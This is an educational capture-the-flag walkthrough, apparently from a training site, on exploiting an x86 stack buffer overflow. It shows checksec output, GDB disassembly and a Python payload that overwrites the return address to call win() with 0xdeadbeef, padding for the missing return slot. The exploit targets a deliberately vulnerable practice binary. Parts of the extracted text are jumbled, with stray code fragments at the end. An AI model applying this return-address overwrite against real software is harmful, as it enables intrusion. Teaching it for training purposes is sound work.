Table of Contents
IronForgeCyber
Courses
Resources
Blog
Log In


IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. artificial-86
9 min read

Artificial Jumps (x86)

This challenge is similar to the last one, with a minor difference. In this challenge, we'll explore an Unnatural (Artificial) Jump and its implications for our payload. This write-up will match the one from the last challenge to show how similar they are.

Trying the Challenge Yourself
This is a good challenge to try yourself. If you get stuck consistently reaching a You lose! statement, skip ahead to Passing the Parameter.

Initial Scan

Again, we always start with checksec.

$ checksec chall[*] './chall'    Arch:       i386-32-little    RELRO:      Partial RELRO    Stack:      No canary found    NX:         NX enabled    PIE:        No PIE (0x8048000)    Stripped:   No

No canary, no PIE. We're good for standard buffer overflows.

GDB

If we check the disassembly for main, we see this method takes input from the user:

nasm
10x080491e6 <+39>:    push   0x40
20x080491e8 <+41>:    lea    eax,[ebp-0x30]
3

This is equivalent to:

c
read(0, ebp-0x30, 0x40);

At this point, we should be confident in the buffer overflow. We plan to jump to win() found inside info functions.

Sending a Payload

There's nothing new about our payload:

python
1payload = b'A' * 0x34
2payload += p32(0x08049176)

When we run this, we don't get much of a response.

artificial-86
$ python3 exploit.py[+] Starting local process './chall': pid 38598Good luck winning here!You lose!

We're confident in our padding and return address. Let's check on win() to see what's happening.

gdb
gef➤ disas winDump of assembler code for function win:   0x08049176 <+0>:     push   ebp   0x08049177 <+1>:     mov    ebp,esp   0x08049179 <+3>:     push   ebx   0x0804917a <+4>:     sub    esp,0x4   0x0804917d <+7>:     call   0x804923c <__x86.get_pc_thunk.ax>   0x08049182 <+12>:    add    eax,0x2e72   0x08049187 <+17>:    cmp    DWORD PTR [ebp+0x8],0xdeadbeef   0x0804918e <+24>:    je     0x80491a6 <win+48>   0x08049190 <+26>:    sub    esp,0xc   0x08049193 <+29>:    lea    edx,[eax-0x1fec]   0x08049199 <+35>:    push   edx   0x0804919a <+36>:    mov    ebx,eax   0x0804919c <+38>:    call   0x8049050 <puts@plt>   0x080491a1 <+43>:    add    esp,0x10   0x080491a4 <+46>:    jmp    0x80491ba <win+68>   0x080491a6 <+48>:    sub    esp,0xc   0x080491a9 <+51>:    lea    edx,[eax-0x1fe2]   0x080491af <+57>:    push   edx   0x080491b0 <+58>:    mov    ebx,eax   0x080491b2 <+60>:    call   0x8049060 <system@plt>   0x080491b7 <+65>:    add    esp,0x10   0x080491ba <+68>:    mov    ebx,DWORD PTR [ebp-0x4]   0x080491bd <+71>:    leave   0x080491be <+72>:    retEnd of assembler dump.

We can get a better view of this in a program like Radare2:

0x8049176
push   ebpmov    ebp, esppush   ebxsub    esp, 0x4call   __x86.get_pc_thunk.axadd    eax, 0x2e72cmp    DWORD PTR [ebp+0x8], 0xdeadbeefje     0x80491a6
ft
0x8049190
sub    esp, 0xclea    edx, [eax-0x1fec]push   edxmov    ebx, eaxcall   putsadd    esp, 0x10jmp    0x80491ba
0x80491a6
sub    esp, 0xclea    edx, [eax-0x1fe2]push   edxmov    ebx, eaxcall   systemadd    esp, 0x10
0x80491ba
mov    ebx, DWORD PTR [ebp-0x4]leaveret

This shows win() has some sort of conditional! We see ebp+0x8 is being compared to 0xdeadbeef. It then does je to system@plt and jne to puts@plt.

Matching the Argument

From our past experience, we confidently guess we need to pass 0xdeadbeef somehow. We now need to understand how our stack frame looks between function calls.

This diagram assumes that we call win() naturally via a call win statement.

These pushes… push 0xdeadbeef call win push ebp sub esp, 0x8 …build win's stack frame ebp+0x80xdeadbeef — argument ebp+0x4return → pwnme ebp+0x0saved ebp — base of pwnme ebp-0x8 In the natural case, we see the following happen:
  1. 0xdeadbeef is pushed onto the stack. That is written in Yellow in the image.
  2. call win is executed. This does two vital things:
    1. Pushes a return address on the stack. This is the address to return to once win() is finished executing.
    2. Jump to the argument inside call.
  3. Once inside win(), the prologue of that function pushes ebp, then moves esp to make space for that method's stack frame.

This whole sequence — call pushing a return address, the prologue saving the base pointer and carving out a new frame — is covered from the ground up in the Assembly course's Stack & Calls lesson.

Therefore, in the diagram, our parameter ends at ebp+0x8. This does not change across binaries; that is where the first parameter will be!

Note
Future parameters will be stacked below the first one. This makes the second parameter be at ebp+0xc, and so on.

Now that we understand how parameters are passed naturally, let's try it.

Passing the Parameter

We first attempt to format the payload the same as last challenge. That would look like:

python
1payload = b'A' * 52
2payload += p32(0x08049176)
3payload += p32(0xdeadbeef)

If we run this, we still see "You lose!". Why? We have to understand our current stack frame.

It's important to note we arrived to win artificially, meaning we didn't arrive via a call. In this case, we overwrote a return pointer to arrive at this function. Considering the crucial steps of calling a function:

  1. Pushing an argument
  2. Pushing a return address (part of call)
  3. Pushing the base pointer (called function's prologue)

By us not using call to arrive at win, we miss Step 2! This means our argument is not where the interpreter expects it to be. This is why we still get You lose; our value was not loaded correctly.

To fix this, we need to make space for the return pointer. That can be any value, but I'll use 0x0 in this case. This value must go between the return address and the argument to ensure we're in the correct order.

python
1payload = b'A' * 52
2payload += p32(0x08049176)
3payload += p32(0x0)
4

Running this successfully gets a flag!

exploit.py
$ python3 exploit.py[+] Starting local process './chall': pid 38602Good luck winning here!IFC{PL4C3H0LD3R_FL4G_H3R3!}
0x080491eb
<
+
44
>
: push
eax
40x080491ec <+45>: push 0x0
50x080491ee <+47>: call 0x8049040 <read@plt>
win's stack space
payload
+=
p32
(
0xdeadbeef
)